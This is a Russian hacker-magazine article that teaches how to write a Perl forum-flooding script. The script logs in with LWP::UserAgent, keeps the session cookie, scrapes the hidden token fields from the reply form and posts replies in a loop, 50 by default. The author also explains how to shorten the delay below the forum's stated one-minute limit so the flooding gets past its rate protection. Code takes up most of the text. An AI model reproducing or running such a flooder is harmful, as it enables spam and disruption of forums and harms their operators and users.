WEB-наводнение Александр Любимов aka Sashiks Хакер, номер #081, стр. 081-070-4 $opera=LWP::UserAgent->new(); $req=new HTTP::Request(POST=>"http://www.linuxsucks.org/login.html?xlogin=$user&xpassword=$pass"); $response=$opera->request($req);Я подразумеваю, что юзер зареган, и логин с пассом валидны. После этого нам должны выдаться куки. Но как их сохранить для дальнейшего использования? Для этого нам нужно подключить модуль use HTT::Cookies. Вот основные методы для объектов: $cookie_jar=HTTP::Cookies->new(); #мы создаем псевдо БД, где будут храниться печенья. Кода сессия заканчиваеться, БД опустошаеться. $cookie_jar->extract_cookies($response); #Из полученного браузером ответа (см.выше) мы извлекаем кукис и кладем его в нашу БД $cookie_jar->add_cookie_header($request); #Присоединяем наш файл cookie к запросу $request (об этом далее). То есть после авторизации приходит ответ сервера, в котором мы получаем Cookies. Эту куку бережно сохраняем в $cookie_jar, ведь она нам позже пригодится (к слову, нам ее нужно цеплять к каждому запросу). А сейчас нам надо получить hrml-код страницы с формой для ответа. Допустим, если ты хочешь наводнить топик с ID 1500, то это будет выглядеть примерно так: $req=new HTTP::Request(GET=>"http://www.linuxsucks.org/addReply.html?postid=1500"); $cookie_jar->add_cookie_header($req);# вот здесь мы прикрепляем кукис, который получили при авторизации $response=$opera->request($req); $resp_cont=$response->content; Сейчас в переменной $resp_cont должна храниться вся страница с формой для реплая. Мы получили ее, чтобы найти скрытые параметры такие, как token и topictitle. Если же мы не узнаем их значение, то не сможем запостить ответ. Пропарсив страницу, мы получили необходимые данные, и теперь готовы отправить запрос с нашим ответом: $flood_post=new HTTP::Request(POST=>"$f_url?xtitle=$title&postid=$top_id&topictitle=$topic&xmsg=$msg&Post=Post&token=$token&mode=Submit");#формируем запрос с ответом $cookie_jar->add_cookie_header($flood_post);#опять цепляем куки $opera->request($flood_post);#выполняем запрос Если ты внимательно читаешь статью, у тебя должен возникнуть вопрос, что такое $title $msg и где они определяются. Все предельно просто - это название твоего ответа и его текст. Они находятся на нашем флудере, и чтобы изменить их, воспользуйся любым текстовым редактором. Вот основной текст программы без функций: auth($auth_url); #функция авторизации for($n=0;$n<$hmt;$n++){#$hmt - количество постов, которые мы хотим отправить ( по умолчанию 50 ) flood($rep_url); #функция для постинга наших флудерских "ответов" sleep($def_time); } Ты, наверное, заметил, что в конце цикла есть запись sleep($def_time). Сейчас я все объясню. Помнишь я говорил, что скрипт ругнулся, что нужно подождать 1 минуту, когда я попытался оставить два поста подряд? То есть между постами должна быть пауза, определенная в переменной $def_time . И хоть она по умолчанию равна 60 сек, можешь проиграть с этим значением, потому что скрипт нагло врал относительно 1 минуты - на самом деле достаточно 15-20 секунд (а может и того меньше). |